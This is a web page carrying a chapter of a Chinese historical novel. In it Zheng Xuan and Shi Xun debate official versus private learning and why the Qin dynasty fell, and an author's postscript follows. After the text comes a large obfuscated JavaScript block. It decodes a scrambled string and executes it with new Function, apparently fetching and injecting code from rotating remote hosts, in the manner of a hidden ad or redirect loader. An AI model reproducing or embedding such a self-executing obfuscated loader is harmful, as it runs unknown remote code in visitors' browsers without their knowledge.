第二十章、秦因何亡(2 / 2)

汉魏文魁 赤军 0 字 2021-04-06

郑玄苦笑道:“然而学之兴也,恰正因为人心不正,世道不宁。昔周代殷,小邦取之大国,乃生周公;周道既衰,诸侯纷乱,乃生孔子;汉初执黄老无为之说,国虽定矣,而臣于匈奴,乃生仲舒。今谓郑学兴,岂非因汉道凌替之故乎?” </p>

是勋说正因为这样,您老才必须出山,去讲经论道,澄清人心,安定天下啊。 </p>

郑玄不理他的话,只是自顾自地说下去:“孔子以后,有曾子、荀卿,有子思,孟轲,皆能光其师教,而别有阐发。逮至儒入官学,置五经博士,今文独重其家门、师门,陈陈相因,不思进取。儒其盛乎?儒其衰也!古文之兴,为其在野,恐一日而为官学,亦将陈腐没落,一如今日之今学也。” </p>

是勋听了这话,就不禁肃然起敬,心说老先生您想得还真深远。好在论起朝代的兴衰,历史的变迁,他终究比郑玄多了两千年的参照物,有些问题,就没郑玄那么悲观—— </p>

“所谓‘五百年,圣人出’,兴亡盛衰,本同此理。周公为其官学,孔子乃为私学,仲舒为其官学,如今先生乃为私学。先生是愿使官学日腐。而独执私学于野呢,还是愿将私学为官,使其再兴一二十年。以待新之私学呢?譬如为人,少年终将老迈,老者终不免死,难道永为私学,则可不死乎?而老者虽死,又有少者新生,难道以为郑学永在民间。便可以千秋万世者乎?”老先生您未免想得太多了吧。 </p>

郑玄听了这话,精神不由得一振,可是眼中的火花才刚一冒。却又瞬间黯淡下去:“故此老夫老矣,不欲阻卿等少年之途。郑氏能为官学,弟子皆有所职,于愿已足。何必定要老夫入许?朽干横路。新苗难生啊。” </p>

是勋心说看起来光说学问的兴盛、发展,那是说不服你啦,咱干脆讲点儿别的:“先生以为今时今世,汉室衰颓,诸侯纷争,比之先周如何?孔子尚周游列国,孜孜求仕,其为学乎?其为天下也。郑学执古文之牛耳。先生为儒之集大成者,名重天下。先生入许,则天下士子莫不翘首相望,人心既定,世道乃安。难道先生不愿为天下太平奉献心力么?”说白了吧,我找你去许都,就是要拿你当大旗立着,凝聚人心,统一思想,进而才能统一天下。也不要你管事儿,甚至不要你讲学,你光跟尊佛像似的杵在那儿就得。 </p>

“譬如孝武皇帝以公孙弘为相,弘习文法吏事,不过缘饰以儒术而已,孝武用之,为其名也,非为其实也。”“习文法吏事,而又缘饰以儒术”乃是史书对公孙弘的评价,说这人表面上是儒生,骨子里是文法吏,儒学只是他打出来扬名的幌子而已。但是武帝“罢黜百家,独尊儒术”,不用真正的大儒比如孔仲舒为相,却选中了公孙弘,不过是要利用他儒者的名声罢了。 </p>

郑玄听了这话,倒不禁笑起来了,一指是勋:“卿与天子,亦如此言否?”是勋老实回答:“不曾。”“与曹孟德,亦如此言否?”是勋继续老实回答:“毋须赘言,而曹公自明。” </p>

郑玄喘息了两声,突然转换话题:“卿以为秦因何而亡?” </p>

是勋心说怎么的,我说历史吧,你也说历史,这一杆子就打出八丈远去。跟师长对话就是有这点儿不好,对方随时可以转换话题,你却不能不跟着跑,对方但凡有所发问,你还一定得回答,不能顾左右而言他。 </p>

就比方现在郑玄问了,你认为秦朝为的什么原因才灭亡的?是勋就必须得回答:“为秦不行仁义,不法先王,举措暴重,而用刑太急。”郑玄轻轻摇头:“此陆贾之言也,非卿之言。”是勋又说:“为秦废先王之道,焚百家之言,以愚黔首……”话还没说完,又被郑玄打断了:“此贾生(贾谊)之言也,非卿之言——吾独欲观卿之识见,闻卿之所言。”你别背前人的成句,把自己的想法都说出来吧。 </p>

是勋没有办法,只好在心里略微组织一下语句,然后长长地吸了一口气:“勋以为,秦之亡也,其过有三。” </p>

“哦?”郑玄往起探了探身子,“其一为何?” </p>

“秦民质朴,故以法御之。而即便如此,先有南门立木,后有商君车裂,以示其信,然后可用。关东之民,散漫久矣,况多年御秦,父兄多死,是不明且不适秦法,不信且怨怼秦人。而法不更,仍以御秦人之策以御关东之众——其亡一也。” </p>

“那其二呢?” </p>

“始皇修长城、开灵渠,固有利于国,而建阿房、筑陵寝,则无益于民。况动辄百十万之众,日夜驱策,不使休息,死亡枕藉——民非牛马,劳而必怨,怒而必争,于是一夫振臂,万夫景从——是其亡之二也。” </p>

“其三?” </p>

“秦吏非止暴虐,而兼贪婪。始皇聚天下之财货、美女,以充阿房,二世更日夕淫乐,不事其政。上行下效,乃有沛令宴宾,以进钱以别亲疏,项梁罪及,曹咎书抵司马欣。吏既贪暴,民安得不反?——此其亡之三也。” </p>

是勋说秦朝不仅仅皇帝骄奢淫逸而已,官吏贪腐问题也非常严重,他提了史书上有载的两件事儿。一是沛县县令招待老友吕公,也就是后来的汉高皇后吕雉他爹,县中官绅全都带着钱去恭贺,县吏萧何亲自点算,礼物超过一千钱的才准登堂,不足一千钱的,您且堂下候着吧——这是公然索贿受贿。二是项梁曾经受人牵连,被栎阳县追捕,他请老朋友、蕲县狱掾(公安局长)曹咎写信给栎阳狱掾司马欣,帮忙把事儿给平了——这是公然的知法犯法、执法枉法。吏治如此腐败,老百姓还怎么可能不造反呢? </p>

PS:介绍个龙套,本章是勋和郑玄口中的乐浪马讼之,乃是一位多年好友,姓马,律师,有点儿不务正业,经常在微博上发训诂、语音之类的帖子,嗯,写到是勋伪造训诂之师,就把他给扯出来了,正合适。</p>

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();